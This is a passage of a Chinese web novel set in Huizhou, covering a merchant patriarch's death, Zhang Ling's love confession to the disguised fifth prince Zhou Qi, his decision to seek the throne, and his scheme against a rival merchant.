李婶不合时宜地说了一句,吴怡赶紧抽回思绪。 才一会儿功夫,香喷喷的饭餐便上桌了。 “大人和小姐还没有回来吗?”李婶最担心两人吃不上热乎饭。 侍卫赶紧答话,“小姐在房间呢。大人有事出去了还没有回来。” “吴怡,你将这些送去小姐房间。”李婶将饭菜盛好交给吴怡,又对侍卫说:“你们一直巡太辛苦,所以赶紧吃饭,这些都是你们的,大人回来我再给他单做。” 侍卫们干了那样蠢事哪有胃口,但是李婶忙了半天,自然不能不吃。 和平站在吴怡旁边小心翼翼说道:“吴怡,今天,今天是我们不对,不该吓唬你。” 吴怡早将这件事望到脑后去了,况且和平曾经救过吴怡,吴怡一直记在心里。“嘿,没事,我知道你们受了大人调遣,要抓坏人,没事,我理解。” 此言一出,所有侍卫都相互看了一眼,惭愧地低下了头。 这边吴怡端着饭菜来到娉婷房间,可娉婷根本不在,她已经与陈明阳一起回到陈家。 娉婷见老太爷躺在床上睡着,陈千朗安安静静坐在椅子上一直守着,见陈明阳进来刚想问问长明灯,又见娉婷走了进来,陈千朗赶紧站起来,“周,周小姐?” “我来看看爷爷。” “这,这怎么好意思呢。” 娉婷也没打算来寒暄,自己来到陈老太爷床边坐下,陈明阳赶紧过来蹲在一旁轻轻叫着:“爷爷,爷爷……” 陈老太爷听见陈明阳叫他,竟一下子睁开眼看着陈明阳,“明阳啊,你来了。” “爷爷,您认识我了?”陈明阳喜极而泣,都好几年不认人,今天算是清醒了。 “你这小子,爷爷怎么不认识你,爷爷还抱你呢。” 陈明阳赶紧回头介绍道:“爷爷,你一直念叨周小姐吗,周小姐来看您来了。”陈明阳站了起来,娉婷向前,“爷爷,我来看看您。” “哟。”陈老太爷眼中放光,笑了起来,“周小姐来了,周小姐来了。” “是啊,我来看看您,您怎么样?” “挺好,挺好。”陈老太爷伸手在空中,陈明阳赶紧过来接住,陈老太爷用尽全身力气拉着陈明阳,又伸手拉着娉婷,“周小姐,我孙子不太会说话,你可别介意啊。” 娉婷笑着看陈明阳,“不介意,不介意的。” “那就好啊,好啊。”陈老太爷笑着看看娉婷又看看陈明阳,“真好,真好啊。” “爷爷。”两人强忍着没有哭,一手一个的相互看了很久。陈千朗站在三人旁边,心内五味杂陈,注定没有结果的苦命鸳鸯,比自己当年的自作多情还要难受。 陈老太爷已经没有了力气,再次沉沉睡去。 娉婷坐了一会儿便告辞回家,陈明阳送她,到了门口娉婷让陈明阳不必送了,可是陈明阳却说是答应了李婶要将周小姐送回去。 两人终于知道了彼此的心意,也知道了自己的心意,但是什么都晚了,再也回不了头了。 娉婷不想与陈明阳争辩,两人就这么默默无言走在徽州的小路上,知县衙门就在眼前,两人不约而同站住了,娉婷强忍着挤出了一个笑容,“就送到这里吧,我,我自己进去就行了。” 陈明阳抬头看见知县衙门的大匾额,巍峨严肃的样子,他想起两人之间不是什么人在阻拦,而是整个大周,无力之感再次袭来,陈明阳只能点点头,娉婷甚至放下心来,所有人都该往前走了,命运早就安排好,不必挣扎。娉婷最后冲陈明阳笑了,随后转身走进了知县衙门。 “小姐?小姐,用饭了。”吴怡端着饭菜进来,见娉婷呆呆地坐在椅子上,乖乖安静地趴在桌子下抬眼看了一下吴怡便继续趴着。“小姐?” 娉婷抽回思绪看着吴怡,“吴怡,你说人为什么活着?” 吴怡一边将饭餐放下一边琢磨,“为什么活着?那我没想过,老话不是说了吗,好死不如赖活着。” 娉婷苦笑一声,“有时候死倒是容易的很。” 吴怡突然觉得娉婷不太对劲,“小姐,你看你这活着多好啊,有吃有喝的,大人也疼你,你又不该人家钱,不用给人家当丫鬟,多好啊。” “是啊,我从小锦衣玉食,我也曾经以为我是全天下最幸福的人,我以为父母把我捧在手心上,我以为哥哥会一直保护我,我以为……我以为……”说着,娉婷突然哭了起来,哭得如此伤心,巨大的心理落差压得娉婷喘不过气来,都已经死心了似的,可是今天遇到陈明阳,又看着陈老太爷发光的眼神,娉婷觉得心里再次起了波澜,可是谁也改变不了什么,谁也帮不了她。 吴怡不知道娉婷怎么了,只是隐隐约约觉得娉婷的事情很复杂,复杂到周大人也解决不了。 乖乖见娉婷哭得伤心,趴着娉婷想安慰她,娉婷擦着泪抱起乖乖,又抱着乖乖哭。 吴怡不知道如何安慰,只好拍拍娉婷的后背,最终娉婷还是停止了哭泣,对吴怡说道:“没事,我没事。” 娉婷放开了乖乖,好好坐在餐桌前准备吃饭,可是刚吃了两口就又哭了起来,吴怡没有办法才来找周启,周启听后也没有办法,以为这件事他无论如何也做不了主。“不必管她,让她一个人呆着就成。” 当晚娉婷整夜睡不着,她已经很多天夜不能寐,而这夜势必不太平,张广的被捕使张海变得很被动,他只好给三皇子写信求助,而陈家已经全都穿着孝衣,陈老太爷离世了。 第一百二十一章 张灵大胆表白周启 - 风吹繁花散落时 - 红酒羊排 第二天一早周启悠闲自在来到知府衙门的牢房。 张广与二愣子隔着牢房相互倚着还在睡觉,周启可没功夫等他们,一把抓住旁边牢头的佩刀一下下敲在牢门上,二愣子与张广双双睁眼,见周启双手架在牢门上,戏谑地看着两人。 二愣子率先开口道:“皇子驾到有失远迎了,不过老子不高兴起来,老子要睡大觉。” 周启才不理他,一直盯着张广,张广斜眼看了一眼周启,也笑道:“哈哈哈,皇子,哼,还不是来这牢里看爷爷,” 周启也不含糊,缓缓说道:“你不过是条狗,如何当爷?” 张广不知道周启何意,继续嘲讽:“是啊,皇子面前,谁都是狗,亏得这徽州百姓还以为你是什么好东西。” “是啊,还真是可笑,可笑至极,哈哈哈,哈哈哈哈。” 周启站好,转向二愣子说道:“当年我父王亲自处置了你爹,你才对我恨之入骨,如今怎么和三皇子的门人如此称兄道弟?这么做就对得起满门一百多口?” 此言一出,两人都一惊,甚至欠起身子相互看了一眼,二愣子不明所以,“什么三皇子?”张广也吓了一跳,“你怎么知道?” “哈哈哈哈,二愣子,你现在觉得谁比较可笑?” 二愣子突然蹿起来,将两条胳膊都伸出了牢房,周启只向后退了一步,眼看着二愣子气急败坏已是无计可施。周启对于手下败将已经失去了兴趣,他只对张广说,“张广,张海在外边一天,我就能多找到一些我三哥的罪证,他已经泥菩萨过江自身难保了,你还是多想想你自己吧。” “哼,我还想什么?想我张广也是一身本事,到头来不过给人做了嫁衣裳。” “告诉我,我三哥派你来做什么?” 张广看了一眼周启冷笑起来,“你不是厉害吗?算计的我们都毫无还手之力,你自己算算呐。” “你不说没关系,张海不还在外边呢吗?昨天本官扣了他一批货,他现在可是着急的很呢。”说完周启头也不回就走,二愣子通红着眼怒气冲冲看着张广,“你居然是三皇子的人?” 张广不过看了二愣子一眼,大有视死如归之态,“想杀我你就杀,没什么好说的。” 二愣子用膝盖紧走两步来到两个牢房之间,透过牢房掐住了张广的脖子,张广也不挣扎一心求死。 就在这时外边衙役冲进来两队人将两人分开,张广剧烈咳嗽两声,最终被衙役拿铁链提起双臂拴在了牢室内,二愣子与张广两人均被高高吊起,求生不能求死不得,张广心如死灰,二愣子却死死瞪着张广一心要杀了他。 这边周启出了大牢没走几步就见一队人发丧,浩浩荡荡的队伍前边正是陈千朗与陈明阳,周启心里一沉,他虽然没有见过陈老太爷,但是他的事迹也算如雷贯耳。 陈老太爷曾极力促成了徽商与晋商的商业合作,为徽州追赶晋商打下了坚实的基础。如果说徽商能有今天的地位是钱万全与陈千朗以独到的眼光抓住了商业机会,那么陈老太爷就是将徽商从小作坊带上了大舞台,是徽商发家的第一代领头人。 如今成老太爷仙逝,全徽州的商人都来吊念。徽州城被围得水泄不通,所有人都来送这位商业奇才,徽商的老前辈。 周启原本在惋惜之中,转眼看见娉婷站在人群中已经哭得不成,他一下子慌了,赶紧穿过人群挤到娉婷身边。 “你怎么在这?” 娉婷擦着眼泪红着眼,“哥,你说所有人都只能这样,最终都会这样。” 周启知道娉婷近来心情都难以平复,只能一把抱过妹妹,“娉婷,有哥哥在,你会生活得很幸福很幸福,一定会的。”这后边的四个字周启是说给自己听的,他已经打定主意一定要救出娉婷。 娉婷在周启怀中突然笑了,她也抱住了周启,“哥,不管怎样,好歹你心里有我就成了。” 周启看着浩荡的发丧队伍,心里突然有了主意,“娉婷。”周启低头看着娉婷,“哥哥之前对你太严厉了,你要是想去看看陈明阳你就去吧。” “真的?” “恩。”周启轻轻点头,娉婷抿了抿嘴最终跟上了送行的人群,周启看着娉婷的背影,无比确定心里的想法,而旁边慢慢走来了张灵。周启正要转身回去,见张灵站在不远处,也一身素衣,“你也来了?” “老太爷也是看着我长大的,虽然后来他不太认识人了,可是在我心里,他永远都是和蔼可亲的长辈。” “能被人如此尊重也是不虚此生了。” “是啊,有时候我在想,徽商超过了我们晋商,也许不是因为什么独特的商业眼光,而是陈老太爷一直在调和徽商的利益冲突,让他们能心往一处想,劲往一处使。当他们徽商成为一个整体的时候,再也没有什么可以战胜他们了。” 周启听着这话觉得在理,又想起在宫里明争暗斗的日子,想起三皇子,突然觉得心很累。 虽然大周也算是国力强盛,可是西凉的铁骑虎视眈眈,连皇帝都不得已牺牲子女去搞政治联姻,甚至要牺牲娉婷的性命也要与回纥一起消灭西凉。可是皇室内部仍旧不能齐心,朝堂之上也是暗流涌动。 这徽州的繁花似锦,自然是得朝廷庇护,更多的是徽商团结一致,即使在钱记被陷害的时候,陈记也没有落井下石,甚至整个徽州都暗中支持钱记,帮助他们度过了难关。 这样的徽州真是分外可爱,周启甚至都不想回去了。 “周大人。”张灵见周启不说话以为他是为了娉婷的事情心烦,“娉婷小姐的婚事我多少也听说了一些,虽然她心有所属,可是我们女孩子的命运半点由不得自己。” “张小姐当商人不是很好吗?” 张灵也突然低沉下去,“若是一辈子当商人,恐怕终身无法婚嫁,无儿无女孤独终老。” “怎么会呢?” “怎么不会。”张灵眼眶中眼泪在打转,她笑着看向周启,周启见了也是一愣,便听张灵说道:“若是遇到有心人,能让我心甘情愿放弃经商,哪怕深宅大院终身不得自有我也是愿意的。可是若不能,若只能听从父母兄长之命随便找人托付,就算是金山银山,我也不愿。我倒是能体会周小姐的心情。” 张灵又笑着低下头,“可是我又没有周小姐的勇气,我甚至不敢告诉那个人,告诉他我喜欢他,告诉他我愿意倾我所有助他实现他的愿望,我愿意与他厮守终生,克服所有困难。可是,可是我不敢告诉他。我怕他拒绝我,让我这辈子都没法再说出喜欢二字了。” “呵呵,怎么会呢?张小姐如此人才,怎会有人不心生怜爱呢。” “是吗?”张灵看着周启,周启只顾走路,张灵知道时间不多,干脆一不做二不休,“周公子,其实,我喜欢的人,是你啊。” 这倒让周启没有想到,他站在街上看着张灵,若说钱朵的表白是周启完全可以预料的,张灵就是让人措手不及,因为她这些天真的完全克制,除了正事什么都没有说过。“你……” “打你满身是血躺在了我怀里开始,我也不知道我招了什么魔,就是满脑子都想你,满心期待可以与你在一起。” 周启呆住了,张灵期待的眼神让周启不知所措,“张小姐,我,可是你都不知道……你甚至不知道我是什么样子的,你看见的我也许并不是我。” “我知道,我知道你叫周启,知道你是帝师邓敬之的学生,我知道的。” 周启再次惊着了,“你知道?你……” “开始我还以为你说的假名字,直到你说你是邓敬之先生的学生,钱伯伯说邓敬之先生是帝师,不会教贫民的。” “这么说钱万全也知道了……” “哦没有,钱伯伯不知道,我后来跟钱伯伯说你是为了让他捐款。”张灵吐了一下舌头,“希望你不要怪我。” “怎么会呢,你都是维护我的。”两人又并肩而行,周启缓缓开口,“张灵,若是我带你回去,你家里会反对吗?” “不会呀。”张灵赶紧说道,她的心脏砰砰砰掉了起来,这是从来没有过的紧张。 “可是,恐怕我不能给你什么承诺。” 张灵一只手把着周启的胳膊,紧张地看着他,“只要你愿意接纳我就行,我不在乎别人怎么说。” 周启突然小心翼翼起来,“若是我父母反对呢?” 张灵低下了头,最终长叹一口气,“那是我没福气了。” 周启觉得很压抑,他第一次遇到一个与自己如此相像的人,张灵是传统的大家闺秀,一举一动都合着规矩,但是她又不是传统的女孩子,她聪明,善解人意,与周启很合拍,周启甚至觉得她似乎一直就在自己身边似的,只要他说一句话,张灵就能瞬间明白,能知道他的喜怒哀乐,能了解他的心意。 张灵见周启不说话,只好自己又说道:“不如,不如我还是默默支持你吧。我不想让你为难,周启,不管我在哪,只要你需要,我张灵和整个晋中张家都会助你完成你的心愿。”说着张灵恢复了往日的仪态,上前抱住了周启,“周启,我心里永远只有你。” 说完,张灵转身要走,而周启也一把将她拉回,“不要走。” 第一百二十二章 周启决定入主东宫 - 风吹繁花散落时 - 红酒羊排 娉婷得了哥哥的容许来到陈家帮忙,她虽然没有指挥过丧礼,但是参加过的长辈丧礼倒是多,虽然她公主之尊不需要操持什么,幸亏她向来坐不住,早就看出了门道。在陈家手忙脚乱之时,娉婷还算是忙上了一些小忙。 入夜时分,陈明阳呆呆坐在廊下发呆,娉婷正好经过,也坐在他旁边,两人一个朝着走廊,一个朝着花园说起话来。 “你累了吧?” “不累啊,你呢?” “我也不累啊。” 两人说完这话竟没什么可说的,只是这么坐着,一直坐到了夜幕完全黑了下来,娉婷终于战起来,“我要回去了。” 陈明阳转头看看娉婷,最终只是点点头,两人再次分别。 这边苦命鸳鸯挥手告别,那边张灵却小鹿乱撞,因为周启已经算是给出了明确地答复,她张灵成为单个女人中唯一的赢家,这场豪赌中,张灵终归是赢了。下边就要算计一下如何让周启也带上吴怡一起回京,好借着吴怡的对比让公公婆婆接受自己。 第二天张灵一早便来到县衙,周启还在研究刘氏的案子,他出过了刘家,与孙家只有二十米之遥,周启甚至怀疑起他们离合的原因。 “一般有了孩子怎么都会忍下去的,况且这刘氏带着孩子也未改嫁,孙林也未再娶,难道他们是假离合?”张灵觉得他们是在蹊跷。 “假离合?”李博可不明白假离合的意义,“他两都没有亲戚,又不存在门第之差,也不存在谁反对,为什么假离合?” “孙师爷,孙师爷……”周启小声嘀咕,他也想不通。 “啊,我知道了!”李博听着师爷师爷的,突然灵光乍现,“他们有一个儿子,但是师爷的后代是不能考功名的,你说要是他们离合了,他们的儿子就能考功名了!” “这可能吗?”张灵觉得太不靠谱。 周启却觉得有可能,“对了,这孙林其实也中过举,就是后来什么都没考上,没有入仕最终生活所迫当了师爷。这刘氏是在他当上师爷之后与他离合了。” “对啊,而且他们离合的时候孙朝正好十岁,就是就学的年龄,他们肯定发现自己的儿子有过人的天赋是读书的苗子,所以就假离合好让孩子能去考功名。” “这么说也不是不可能,但是现在没有证据。” “等会,孙朝在哪个学堂上学?我们可以去学堂查查档案,也许还有成绩可以佐证呢。” 周启翻着卷宗,“在这,这,静思学堂。” “静思学堂现在还有呢,就是不太景气了,我现在就去看看。” 张灵马上动身,不出一个时辰便回来了,“你们还真说着了,你们快看。” 张灵将孙朝的成绩展开,“这孩子的确厉害,全是甲等。” “十三年了,成绩单居然还留着呢。” “哈哈,静思学堂的先生是个爱学生如子的人,这么亮眼的学生,他怎么会不记得。” “哈,那就是爱好学生如子呗。”李博调侃道,毕竟他自己是周启的伴读,与状元郎一比他可是逊色不少,自小就是被骂大的。 周启看着成绩单,总算有点进展了,“哎李博,你怎么想到的?” “嘿,你这让我当师爷,我不得看看师爷都是咋回事吗?我还想要是我爹知道我把他孙子的仕途给弄没了,他没准得打死我。” “哈哈哈,放心吧,我们不告诉他。不过继续想啊,还有好多问题呢。” 李博一抱拳一作揖,“遵命周大人。” “好了,孙林与刘氏假离合,孩子生病了他就到庙里求神拜佛,后来刘氏和孩子死了,他却什么也没有做,而是点了一盏长明灯?这就奇怪了。”周启继续分析道。 “若果他已经知道凶手是谁肯定会报仇的吧?”张灵想着说。 “若是报仇了,这案子就结了啊。”李博不知道张灵想表达什么“可能一直无法找到凶手。” “无法找到凶手的话,第二次第三次重审的时候他应该更加积极主动,怎么也会有一些线索再被发现才对,可是事实却并非如此。” “可能第一次审理的时候他就已经很积极主动了,所以所有有用的线索在第一次就找齐了呢?” “不太可能吧,比如我们,我们只要回顾往昔一定会有新的发现,这么大的案子怎么会毫无进展,三次都无疾而终呢?” 周启听李博与张灵分析半天,终究没有头绪,“我觉得还是要再找找与两人相识的人,张灵,你再去庙里问问主持,我觉得他知道的信息不应该这么少才对。” “好。”张灵自从得了周启的承诺自然更加积极主动,她一走,李博倒是好奇起来,“周大人?” “有话就说。” “你真打算带着这女人回去?” “她不好吗?” “嗯……” “她昨天说张家会全力支持我的。” “周大人?” 周启丢开卷宗,意味深长地看着李博,“既然三哥都盯上了商人这块肥肉,我近水楼台的为什么不得月呢?” “你想好了?” “我来徽州这段时间,发现这里虽然商业气息浓重,但是大家也是重情重义团结一致,有好生意的时候是互相帮衬。 就说昨天过世的陈老太爷吧,他就是徽商的代表,好像一个家长,又像一个朋友,将所有人聚在一起。 我在想,若是想要大周昌盛起来,不应该牺牲女人去争取利益,也不该是联合了外邦打败了另一个外邦就可以的。 想要国家强大起来,我们自己内部应该更加团结,不是争权夺利,而是带领大周走上繁荣。 我这些天想了很多,我以前觉得三哥喜欢权利就叫他去做好了,但是我现在不这么想了。 我们皇室的争斗是时候该停止了,而我是大周唯一的嫡皇子,我最有资格停止这一切。” 李博感觉眼前一亮,站在他前面的已经不是沉浸在书本里的单纯少年了,而是一个为了大周愿意平尽全力的嫡皇子。 李博单膝跪地,双手抱拳,“五皇子!臣李博愿意永远追随五皇子,共同开创我大周繁荣盛世。” 李博正觉得慷慨激昂充满斗志,吴怡推门进来,“大人。” 李博赶紧趴在地上假装找东西,“怎么找不到啊?” 吴怡见李博找东西赶紧帮忙,“大人找什么,我来找。” 李博赶紧假装找到了“找到了,找到了。”他趁着吴怡猫腰的空档拿起桌子上的毛笔在吴怡眼前一晃,“找到了。” 周启看着李博拙劣的演技,被逗笑了,“找到了?” 李博尴尬地说,“嗯,找到了。” “那好,写吧。” “写,写什么?” “你刚才不是说要写欠我一百两银子吗?写吧。” “啊?李大人,你也欠钱了?” 李博真是服了周启了,这个时候怎么还带抢劫的呀,“啊?哈哈哈,我,是,我,我又莫名其妙欠钱了我。” “不写也成,你直接给我就成,你带着呢吧。” “带了带了。”李博赶紧拿出银票交给周启,周启也不客气,交给吴怡,“来,拿着给李婶,说是李大人给咱们改善伙食。” 吴怡也不客气接过银票嘿嘿一笑,“好勒。李大人,你真好,真有钱。” 李博哭笑不得,真是心疼自己,心想以后再也不带钱来了! “好了,吴怡,你找我?” “哦,那个张老板来了,在外边等你呢。” 周启透过窗户一看,张海的确站在院中,“叫他等着。” “周大人,他,他好像知道我是吴怡了。” “你不本来就是吴怡吗?”李博不明所以。 周启突然邪魅一笑,“吴怡,你还假装你是张灵,逗逗他。” “啊?不要了吧。” “干嘛不要,你要是干好了,我给你五十两银子。” “真的?”吴怡差点就信了,幸亏被周启骗了好多次了,“切,那我还欠你……”吴怡掰着手指头数,反正也数不清,“哎呀,反正我还欠你一辈子那么多银子,你去找别人骗他吧。” “哎哎哎,你不最会骗人了吗?” 吴怡白了一眼周启,“切”了一声自己走了,周启觉得她十分有趣,站在原地笑了起来。 李博看了倒也不在乎,毕竟对付吴怡已经不是他一个人的事情了,张灵自会来搞定,他就假装什么都不知道,什么也不要管的好。 张海站在院子里觉得异常烦躁,周启根本不出来,院子里也一个人都没有,只有一条狗跑来跑去惹人厌烦。 周启终于觉得晾够了张海,好不容易才踱步到院子里,可是他也不着急而是逗起狗来,“乖乖,过来。” 乖乖听到指令吐着舌头跑来,“来,坐下。”乖乖被娉婷训练得十分听话,一下子就坐下等着好吃的,周启可没有吃的便默默乖乖的脖子,笑着夸赞:“哎,好狗,真是好狗。” 周启也不看张海,便说道:“你觉得本官这狗怎么样?” “大人的狗自然是好的。” “是吗?如何看出?” 张海差点被噎死,只好商业式吹碰道:“大人这狗一看就训练有速,想必是名贵品种吧?” “看来张老板不做狗生意啊,这狗是大街上捡的。” 张海尴尬极了,他一点也不喜欢狗,“额……那就是教得好。” “哈哈,那是,本官最会调教,不管本官听说三皇子教得不好,他家的狗都咬主人呢。” 第一百二十三章 张灵就是张灵 - 风吹繁花散落时 - 红酒羊排 张海听了这话如被雷劈,赶紧想,试探着说,“怎,怎么会呢,三皇子,我……” “哈哈哈,张老板紧张什么,人家的狗又不咬无关的人。” “嗯,是啊。” “不过呢,万一乱咬,你也不敢说什么对不对?毕竟人家是三皇子的狗啊。” 张海明白周启什么意思,他对张广的忠诚度也有怀疑,毕竟两人打算攫取利润装进自己的腰包,利益联盟最为松散。 张海自然心里害怕但是也绝不会上来就全盘承认了,“张大人,别人家的事情小民实在没时间管,别说小民与三皇子根本不认识,就是小民有幸认识什么大人物,恐怕就是大人了。” “哈哈哈哈,张老板,也许本官还真是大人物呢,可是张老板已经心有所属,无法再加入本官的阵营了。” “周大人何意?” 周启逗着乖乖头也不抬,“可惜了。不过呢,货本官倒是可以还给你,回去告诉你的主子,本官人逢喜事所以脾气渐长,谁要是与本官有什么意见不合,本官只好发发小脾气,哈哈哈哈。” 张海根本听不懂周启说的是什么意思,但是只要货能回来就行,“周大人,小民不才,但是小民并不为任何人办事。” 周启不等张海说完便笑着一甩手,“成了,你去拿货吧就说是本官说的。” 张海一边犹豫一边离开,看来张广是真的出卖了自己,但是这个七品芝麻小官怎么敢不将三皇子放在眼里,还敢说自己会发脾气?简直不可思议,张海甚至觉得这个知县肯定是疯了。 可是张海一出门他就明白为何这个知县这么猖狂,“张小姐?” 张灵微微一笑点头示意。 “张小姐。”张海一个跨步挡住了张灵的去路,“在下早就听闻张小姐的大名,只是之前没有机会拜会,如今好不容易见面,想请张小姐喝杯茶。” “张老板有好生意?” “好不好的,需要张小姐自己说才算呢。” 张灵虽然现在心在进皇室上,可是有生意还是很乐意的,因为她觉得这是自己的筹码。 张灵笑着点点头,随着张海来到张海的府邸,张灵见这里装扮得透着贵气,似乎要将所有好东西都摆出来一样,张灵会心一笑。 “张老板生意做的大呀?不过似乎以前没有听说过您,看来是我孤陋寡闻了。” “张小姐谦虚,张某向来低调行事。”张海请张灵落座后吩咐上茶便又缓缓说道:“在下听闻张小姐与钱家少东家曾是青梅竹马?” “不过父辈的心愿,不过也不强求。如今大了也就淡了。” “京城传闻张小姐在京城大杀四方,都说是钱宁在后边指点,在下却觉得张小姐才是真正的个中好手。” 张灵自信一笑,“张老板抬爱了。” 张海笑着又言道:“实话实说罢了,世人总是对女人诸多误解,觉得一个成功的女人背后定是男人在指点。” “这么说,张老板有话指点?” “不敢不敢,只是以在下拙见,晋商近年来之所以逊色于徽商,不过一个朝廷供奉一个夏凉的商路。” “愿闻其详。” 张海停顿了一下正色道:“三十年前,晋商独步天下,而徽商还像是初出茅庐的少年,只能为晋商马首是瞻,可是短短三十年,徽商不仅超过了晋商,还一举抢下了多个朝廷供奉,就是近水楼台的京城商贾也要让徽商三分。 之前我以为不过是三十年河东三十年河西,如今我在徽州大半年才明白,徽商同气连枝,抱团取暖更甚晋商,就冲这一点,徽商的成功也是迟早的事情。” 张海观察张灵的脸色,似有往下听下去的意愿,便继续分析道:“其次就是西凉商路。西凉速来被中原人说成是蛮夷之地,但是西凉重视文化教育,近年来国力见长,就是咱们的陛下也不得不嫁女以求得边境和平,足以说明西凉的不断昌盛。 早在晋商发现这一商机之前,陈千朗已经带着徽商在西凉打出了一片天地,如今就是张家在西凉也要看陈家的眼色了。” 张灵点头表示赞同。 张海则继续说道:“不过今年,钱记的朝廷供奉被京城取消,明年朝廷供奉选拔的时候,京城那些见风使舵的大人们,可要掂量掂量了。” 张灵示意张海继续说下去,张海便继续分析:“没了朝廷供奉,徽商只能再次自谋生路,到时候抢晋商生意的事情绝对会再次发生,商场必将重新洗牌。” 这件事张灵也想到了,所以她嫁入皇家的事情只能成功不能失败,这关乎整个家族的命运。 “另外还有一事,就是钱老太爷过世了。钱老太爷在商场上摸爬滚打这么多年。有他在,徽商之间是有商有量,没他,哼,我看早晚得自己人打起来。到时候晋商也有可能再次重新获得商家第一的名号,当然这都得靠晋商能有一个巨大的契机并且迅速地抓住。” “没了老太爷,还有钱老板和陈老板,徽商就这么容易散吗?” “张小姐也应该知道钱陈两位老板的前尘往事吧?” “请张老板慎言。” 张海微微一笑,“心结难解,但也不是不能。” “难。”张海喝了一口茶继续说道:“若是张小姐抓住了这两条,帮助张家获得几个朝廷供奉,打撒徽商的全面布局,晋商就会重回第一把交椅。” “几个?” 张海会心一笑。 张灵又换了一个语气,“几个?” “那要看张小姐了。” 张灵不置可否地笑了。 张海便继续透底道:“以前钱记稳坐徽商第一把交椅,靠的就是朝廷供奉,如今朝廷供奉想拿回来是不可能的了。” “人家钱记已经没事了,明年难道朝廷就不会再给自己找个台阶继续赏给钱记吗?” “这条路已经被钱宁给堵死了。” “怎么说?” “原本供奉给了别人,若是发现钱记根本没有什么问题,尤其新接手的商家茶叶品质不太好的话,朝廷自会重新考虑钱记。 但是钱宁急于脱手茶叶,竟将茶叶一股脑卖给了竞争对手,宫里的贵人可不管朝廷供奉是谁在供奉,只要品质不下降就行。” 张灵深吸了一口气,她当时极力反对将茶叶卖给京城,可是钱万全求稳,她这个外姓人也没什么好说的。 “钱家自寻死路,张家倒是可以顺势而为。” “张老板说的张家是你这个张还是我这个张?” 张海一愣,旋即笑了起来,“至于是哪个张,还不都是张小姐说了算吗?” 张灵一挑眉毛,“说的再好不如做得好,赚到了真金白银才是真的。” 张海一抱拳,“肯定不会让张小姐失望的。” 张灵不言不语站起身来告辞,她得赶紧回家想想怎么抉择。 张海看着张灵的背影觉得自己终于要干点正经事了,而这次不仅要赚个大的,挽回三皇子的圣心,还要捞足自己的腰包才行。 而知县衙门门口,陈明阳犹豫不决。 “陈少东家?” “你是吴怡?” “是啊,您是来找大人吗?” “哦,我,我来找娉婷小姐。” “娉婷小姐在房间了,不过她心情不好,您还要进去吗?” “我是来看她的,谢谢她帮我料理爷爷的后事。” “哦,那您跟我来。” 陈明阳原本不知道该不该进去,可是既然看见了人,还是进去好了,省得显得太刻意。 “就是这里,稍等。”吴怡一手拿着菜篮子一手敲门,“小姐,小姐?” “什么事?” “陈少东家来看您了。” 娉婷原本坐在椅子上心不在焉,一听陈明阳来了飞也似地来开门,一开门又觉得后悔,脸上的笑容又瞬间没了。 吴怡见娉婷出来了便回厨下做饭,陈明阳与娉婷四目相对,矗立良久。 “我,我,我是来谢谢你帮我料理爷爷的后事,这是回礼。” 娉婷低头才看见陈明阳手中的礼盒,娉婷舔了舔已经干掉的嘴唇,“哦没事的,不用客气。” “那这个?” 娉婷一指屋里的桌子,“你就放那就成了。” “哦。”陈明阳放下后两人又不知道说什么。 “你喝茶。”娉婷一个箭步拿起茶壶,可是发现茶壶早就空了。“我去叫他们给你上茶。” “哦,不必麻烦了,我,我还得去下一家。” 娉婷突然很失落,“哦是吗,那,那……” “那我先走了,周小姐保重。”陈明阳好像逃离犯罪现场似的跑了,娉婷更加失落地蝶坐在椅子上。 陈明阳从娉婷房间出来没走几步就见周启背着双手站在县衙门口。 “周大人?”陈明阳一抱拳,知道周启可能要说点什么。 “你这样只会让你们陷入尴尬和不舍。” “我只是按照礼仪前来致谢。” “可是娉婷不这么想。” “那我只能说我很抱歉。” 周启终于回过身子,“陈明阳,也许在你眼里娉婷任性不懂事,可是在我眼里她永远都是我妹妹,即使全天下都不理她,我也不会。” “在下没有想不理她,可是大人明知道全部真相,又叫在下怎么样呢?” “若你真的愿意,本官倒是有个主意,只是有点危险。” 第一百二十四章 绝非空穴来风 - 风吹繁花散落时 - 红酒羊排 陈明阳一听有办法,心脏差点跳了出来,眼睛也亮了起来,“什么办法?” “说之前,本官不得不问,你真的愿意吗?” 陈明阳郑重地回答道:“当然愿意。” “可能会很危险呢,比在大牢里危险多了。” “既然如此,舍我其谁?” 周启满意地点点头,“不过呢……” “周大人?” “你只能单独知晓内情,本官一定要确保计划万无一失。” 陈明阳无比重视,“周大人,若是能让周小姐后半生快乐无忧,去做她想做的事情,明阳在所不辞。” 周启从下到上看了一眼陈明阳,最终说出心中所想:“你喜欢娉婷?” 陈明阳突然僵住,他还从来没有将喜欢宣之于口。不过都到了这个时候了,陈明阳决定打开天窗说亮话,“不错,我喜欢周娉婷小姐,若是可以,我愿意后半生都照顾她,与她共立黄昏,携手白头。” “那就好!”周启点点头向县衙内走去,周启已经决定好了,娉婷大婚之时抢出娉婷并送她离开,而陈明阳是最好的选择。 第二天,周启带着李博正准备出门继续调查孙林死亡的内情,却接到了皇帝的亲笔书信:一个月后,周启将神不知鬼不觉离开徽州重新变回他的五皇子,而六公主则会在三天后率先离开为出嫁做准备。 “大人?” “马上将手头的事情全部完结掉。” “其实也没什么,就是孙林的案子和三个伙计。” “张海呢?” “张海?您都五皇子了,他一个商人还能怎么样?” 周启一皱眉一瞪李博,李博马上改口,“不过他后边的主子倒是不容小觑。” 李博见周启脸色缓和,赶紧说道:“五皇子,我觉得三皇子肯定不知道徽州知府是你,否则怎么会就派两个笨蛋来妨碍你在徽州的执政呢?” “这个张海和张广都是三哥的人,张广被我抓住了,但是他不可能说出三哥什么,毕竟在父皇心意不明的情况下,所有指控都是构陷。所以就算他说实话,我也可能把他送到父皇面前去指正三哥什么。” “那就等于没用了呗。” “可是张海还是很有意思。” “有什么意思?” “哈哈哈,张海身后是我三哥,三哥想在徽州敛财然后在朝堂上笼络人心,那我们要是让三哥血本无归,不是很有意思吗?” 李博一下子来了兴趣,“那怎么办呢?” “得有个人去接近张海啊,然后骗他……哎,骗他,哈,对呀。” 周启快速走到门口,李博顺着周启的视线看见吴怡又在院子里整理已经完全枯萎的花坛,“哦……” 周启与李博对视一笑,“哦对了,那个张海好像以为吴怡是张灵啊,哈哈哈,你说要是吴怡把张海骗得团团转,回京后看见三皇子的脸会不会气歪了?” 周启与李博简直忍不住嘴角上扬,他们觉得这可能是来徽州最有意思的一件事了。“吴怡,吴怡!” 吴怡听见李博叫自己赶紧过来,“李大人?” “我给你一个赚钱的机会,你愿不愿意啊?” 吴怡亮眼放光,“什么机会?” 